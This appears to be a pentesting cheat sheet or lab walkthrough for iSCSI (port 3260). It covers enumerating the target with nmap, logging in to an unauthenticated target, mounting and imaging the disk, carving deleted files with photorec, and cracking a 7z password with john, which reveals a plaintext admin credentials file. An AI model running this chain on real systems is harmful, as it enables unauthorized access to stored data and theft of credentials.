3360 - ISCSI
Information
Default Port: 3260
PORT STATE SERVICE
3260/tcp open iscsi
Enumeration
nc -vn 192.168.1.2 3260
timeout 0.1 bash -c "nc -nv 192.168.1.2 3260"
nmap -p3260 -sS 192.168.1.2
nmap -p3260 -sVC 192.168.1.2
nmap -p3260 --script="iscsi-info" 192.168.1.2
IQN
Name
root@kali:~ ❯ nmap -p3260 --script="iscsi-info" 192.168.1.2
Starting Nmap 7.99 ( https://nmap.org ) at 2026-06-06 16:35 +0200
Nmap scan report for 192.168.1.89
Host is up (0.00040s latency).
PORT STATE SERVICE
3260/tcp open iscsi
| iscsi-info:
| iqn.2026-02.nyx.shadowblocks:storage.disk1:
| Address: 192.168.1.2:3260,1
|_ Authentication: NOT required
Discovery
root@kali:~ ❯ iscsiadm -m discovery -t sendtargets -p 192.168.1.2
Login
apt install -y open-iscsi
root@kali:~ ❯ iscsiadm -m node --targetname="iqn.2026-02.nyx.shadowblocks:storage.disk1" -p 192.168.1.2:3260 --login
Disk
Name
Disk: /dev/sdb > Device: /dev/sdb1
root@kali:~ ❯ lsblk
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINTS
sda 8:0 0 50G 0 disk
├─sda1 8:1 0 47,4G 0 part /
├─sda2 8:2 0 1K 0 part
└─sda5 8:5 0 2,6G 0 part [SWAP]
sdb 8:16 0 150M 1 disk
└─sdb1 8:17 0 149M 1 part
sr0 11:0 1 1024M 0 rom
root@kali:~ ❯ fdisk -l
Disk /dev/sda: 50 GiB, 53687091200 bytes, 104857600 sectors
Disk model: VBOX HARDDISK
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0xd2e36195
Device Boot Start End Sectors Size Id Type
/dev/sda1 * 2048 99422207 99420160 47,4G 83 Linux
/dev/sda2 99424254 104855551 5431298 2,6G f W95 Ext'd (LBA)
/dev/sda5 99424256 104855551 5431296 2,6G 82 Linux swap / Solaris
Disk /dev/sdb: 150 MiB, 157286400 bytes, 307200 sectors
Disk model: shadowblocks
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 8388608 bytes
Disklabel type: dos
Disk identifier: 0x2566cb3e
Device Boot Start End Sectors Size Id Type
/dev/sdb1 2048 307199 305152 149M 83 Linux
Mount
root@kali:~ ❯ mkdir /mnt/iscsi
root@kali:~ ❯ mount /dev/sdb1 /mnt/iscsi
mount: /mnt/iscsi: WARNING: source write-protected, mounted read-only.
List
root@kali:~ ❯ find /mnt/iscsi -ls
2 1 drwxr-xr-x 10 root root 1024 feb 28 18:52 /mnt/iscsi
17 1 drwxrwxr-x 2 root root 1024 feb 28 18:51 /mnt/iscsi/hr
24 1 -rw-rw-r-- 1 root root 274 feb 28 18:51 /mnt/iscsi/hr/employees.txt
16 1 drwxrwxr-x 2 root root 1024 feb 28 18:51 /mnt/iscsi/engineering
23 1 -rw-rw-r-- 1 root root 434 feb 28 18:51 /mnt/iscsi/engineering/infrastructure_notes.txt
13 1 drwxrwxr-x 2 root root 1024 feb 28 18:50 /mnt/iscsi/docs
21 1 -rw-rw-r-- 1 root root 399 feb 28 18:50 /mnt/iscsi/docs/company_overview.txt
18 1 drwxrwxr-x 2 root root 1024 feb 28 18:51 /mnt/iscsi/backups
27 15360 -rw-rw-r-- 1 root root 15728640 feb 28 18:51 /mnt/iscsi/backups/backup_january_2026.bak
28 10240 -rw-rw-r-- 1 root root 10485760 feb 28 18:51 /mnt/iscsi/backups/backup_february_2026.bak
19 1 drwxrwxr-x 2 root root 1024 feb 28 18:51 /mnt/iscsi/logs
25 1 -rw-rw-r-- 1 root root 402 feb 28 18:51 /mnt/iscsi/logs/system.log
15 1 drwxrwxr-x 2 root root 1024 feb 28 18:51 /mnt/iscsi/finance
22 1 -rw-rw-r-- 1 root root 358 feb 28 18:51 /mnt/iscsi/finance/budget_2026.txt
11 12 drwx------ 2 root root 12288 feb 28 18:49 /mnt/iscsi/lost+found
14 20480 -rw-rw-r-- 1 root root 20971520 feb 28 18:49 /mnt/iscsi/random_fill.bin
20 1 drwxrwxr-x 2 root root 1024 feb 28 18:51 /mnt/iscsi/configs
26 1 -rw-rw-r-- 1 root root 282 feb 28 18:51 /mnt/iscsi/configs/storage.conf
Copy
root@kali:~ ❯ dd if=/dev/sdb1 of=iscsi.img bs=4M status=progress
37+1 records in
37+1 records out
156237824 bytes (156 MB, 149 MiB) copied, 0,358107 s, 436 MB/s
root@kali:~ ❯ ls | grep ".img"
iscsi.img
Dump
apt install -y testdisk
root@kali:~ ❯ photorec iscsi.img
root@kali:~ ❯ tree recup_dir.1
recup_dir.1
├── f0018434.7z
├── f0018436.txt
├── f0018438.txt
├── f0018440.txt
├── f0018442.txt
├── f0018444.txt
├── f0018446.txt
├── f0018448.7z
└── report.xml
1 directory, 9 files
root@kali:~ ❯ mv recup_dir.1/*.7z .
root@kali:~ ❯ ls -l
.rw-r--r-- root root 480 B Sat Jun 6 16:09:05 2026 f0018434.7z
.rw-r--r-- root root 480 B Sat Jun 6 16:09:05 2026 f0018448.7z
.rw-r--r-- root root 149 MB Sat Jun 6 15:49:53 2026 iscsi.img
.rw-r--r-- root root 40 KB Sat Jun 6 16:08:57 2026 photorec.se2
drwxr-xr-x root root 4.0 KB Sat Jun 6 16:10:16 2026 recup_dir.1
root@kali:~ ❯ 7z2john f0018434.7z > hash
ATTENTION: the hashes might contain sensitive encrypted data. Be careful when sharing or posting these hashes
root@kali:~ ❯ john --wordlist=/opt/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (7z, 7-Zip archive encryption [SHA256 256/256 AVX2 8x AES])
Cost 1 (iteration count) is 524288 for all loaded hashes
Cost 2 (padding size) is 6 for all loaded hashes
Cost 3 (compression type) is 0 for all loaded hashes
Cost 4 (data length) is 122 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
donald (f0018434.7z)
1g 0:00:00:10 DONE (2026-06-06 16:12) 0.09140g/s 93.60p/s 93.60c/s 93.60C/s andre..bethany
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
root@kali:~ ❯ 7z x f0018434.7z -p'donald'
root@kali:~ ❯ cat credentials.txt
ShadowBlocks Internal Access Credentials
=======================================
System: Primary Storage Node
Environment: Production
Access Level: Administrative
Username: lenam
Password: 3vEbN3bM6NhOa1640weG
Note:
This file is intended for temporary migration procedures only.
It must be deleted after use.
Last reviewed: 2026-02-15
Umount
root@kali:~ ❯ umount /mnt/iscsi
# error (in use)
root@kali:~ ❯ umount -l /mnt/iscsi
root@kali:~ ❯ umount -f /mnt/iscsi
Files
/etc/iscsi/iscsid.conf
/etc/iscsi/initiatorname.iscsi
/etc/iscsi/nodes/
/etc/iscsi/send_targets/
/etc/iscsi/ifaces/